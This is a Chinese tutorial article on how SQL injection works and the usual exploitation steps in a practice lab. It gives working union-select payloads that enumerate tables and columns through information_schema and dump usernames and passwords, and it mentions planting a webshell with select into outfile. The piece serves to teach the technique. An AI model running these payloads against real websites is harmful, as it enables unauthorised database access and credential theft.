简单聊聊SQL注入的原理以及一般步骤

 更新时间:2022年02月21日 09:16:02   作者:iamblackcat  
所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令,下面这篇文章主要给大家介绍了关于SQL注入的原理以及一般步骤的相关资料,需要的朋友可以参考下

原理

SQL注入是一种攻击方式,在这种攻击方式中,恶意代码被插入到字符串中,然后该字符串传递到SQL Server的实例以进行分析和执行。任何构成SQL语句的过程都应进行注入检查,因为SQL Server将执行其接收到的所有语法有效的查询。

(摘自微软 SQL注入,但要注意的是,SQL注入并不限于SQL Server,几乎任何数据库引擎都存在这个问题)

一般利用步骤

1.判断注入点

判断注入点有方面的含义,一是找到可能存在注入的位置,二十判断该处能否进行注入。在靶场环境下,我们已经知道,GET的参数id是与数据库进行交互的点,接下来判断能够进行注入。

id为1,成功查询,回显正常

id为1',数据库报错,由报错信息猜测闭合方式为单引号

id为1' --+,成功查询,回显正常,印证猜测,

id分别为1' and 1=1 --+和1' and 1=2--+,通过回显情况,进一步判断能否注入

1=1为永真,当1成功查询,若1=1也成功查询,则页面返回正常,1=2为永假,因此若1=2得到执行,则页面必返回不正常。通过对比二者返回结果,可知改点能否进行注入。

2.判断查询字段数

为了将我们想要的结果能够显示在页面上,我们需要用到联合查询,联合查询的条件之一是必须保证前后查询语句的字段数相等,因此,我们需要判断查询的字段数。

一般采用order by或union select如下:

order by 大于3的数时页面返回不正常,小于等于3时返回正常,得知原查询语句的字段数为3。或

当我们联合查询4列时,得到了查询语句由不同的列的错误,查询3列时:

成功查询,得原查询语句只有三列。

3.查数据库名、版本号、用户名等信息

union联合查询的规则是当前一个查询失败时执行第二个查询,前面我们知道了查询有三个字段,接下来将传入id为0,判断是三个字段的回显位置。

再由数据库内置的version()database()user()查询出版本号、数据库当前名和当前用户。

4.查询表名

前面我们查询得知,当前数据库版本为5.5.53,在MySQL5.5后版本都内置了数据库information_schema。它存储了数据库中所有的表名、字段名等信息。从而可以构造查询语句,获取表名。

payload:?id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+

这里的group_concat()为SQL语句内置的聚合函数,用来将查询的结果作为一个字符串输出。

(使用payload:?id=0' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+

5.查询字段名

知道了所有的表名,接下来选择一个表,查询其中所有的字段名。

payload:?id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+

6.查询记录内容

有了表名和字段名,便可以爆出数据库中的记录了。

payload:?id=0' union select 1,group_concat(username),group_concat(password) from users --+

以上是一般SQL注入的流程,当然还有一些像报错注入,请求头注入、select into outfile 写入一句话木马等姿势未介绍。后续学习过程中再逐渐补充。

总结

到此这篇关于SQL注入的原理以及一般步骤的文章就介绍到这了,更多相关SQL注入的原理及步骤内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

相关文章

  • Navicat运行sql文件导入数据不全或导入失败的解决方案

    Navicat运行sql文件导入数据不全或导入失败的解决方案

    最近导出数据库到另一个服务器,遇到这个问题,下面这篇文章主要给大家介绍了关于Navicat运行sql文件导入数据不全或导入失败的解决方案,文中通过实例代码介绍的非常详细,需要的朋友可以参考下
    2023-03-03
  • 交互分布式系统下如何生成唯一序列

    交互分布式系统下如何生成唯一序列

    在分布式系统中,由于涉及到多个不同业务module的交互,以及高并发的场景。我们需要系统能够生成一个跨业务module的全网唯一序列号,来保证我们业务操作的独立性和唯一性
    2022-01-01
  • 数据库查询性能需注意几点经验

    数据库查询性能需注意几点经验

    这篇文章主要介绍在程序编程中,需要注意数据库的性能问题,否则会导致数据库与页面打开都很慢
    2013-05-05
  • Hive HQL支持2种查询语句风格

    Hive HQL支持2种查询语句风格

    这篇文章主要为大家介绍了Hive HQL支持2种查询语句风格示例语法,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步,早日升职加薪
    2022-06-06
  • 如何取得一个表的所有字段名用逗号分割

    如何取得一个表的所有字段名用逗号分割

    如何取得一个表的所有字段名用逗号分割...
    2006-12-12
  • DophinScheduler定期删除日志实例代码

    DophinScheduler定期删除日志实例代码

    Apache DophinScheduler 运行一段时间后,实例调度日志越来越多,需要定期清理,这篇文章主要介绍了DophinScheduler定期删除日志实例代码,需要的朋友可以参考下
    2014-04-04
  • SQL行转列、列转行的简单实现

    SQL行转列、列转行的简单实现

    这篇文章主要给大家介绍了关于SQL行转列、列转行的简单实现方法,文中通过示例代码介绍的非常详细,对大家学习或者使用SQL具有一定的参考学习价值,需要的朋友们下面来一起学习学习吧
    2019-05-05
  • 多条件查询的程序

    多条件查询的程序

    在一个网站中,常常会使用到查询功能。假设一个企业内部网中,用户信息里通常会涉及到工号、姓名、性别、学历、职业、职称、身份证号码、手机号码、座机号码、传真号码、邮政编号、通讯地址等信息。
    2009-05-05
  • 利用带关联子查询Update语句更新数据的方法

    利用带关联子查询Update语句更新数据的方法

    这篇文章主要介绍了利用带关联子查询Update语句更新数据的方法,需要的朋友可以参考下
    2014-08-08
  • Navicat使用快速入门教程

    Navicat使用快速入门教程

    这篇文章主要介绍了Navicat使用快速入门教程,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2020-11-11

最新评论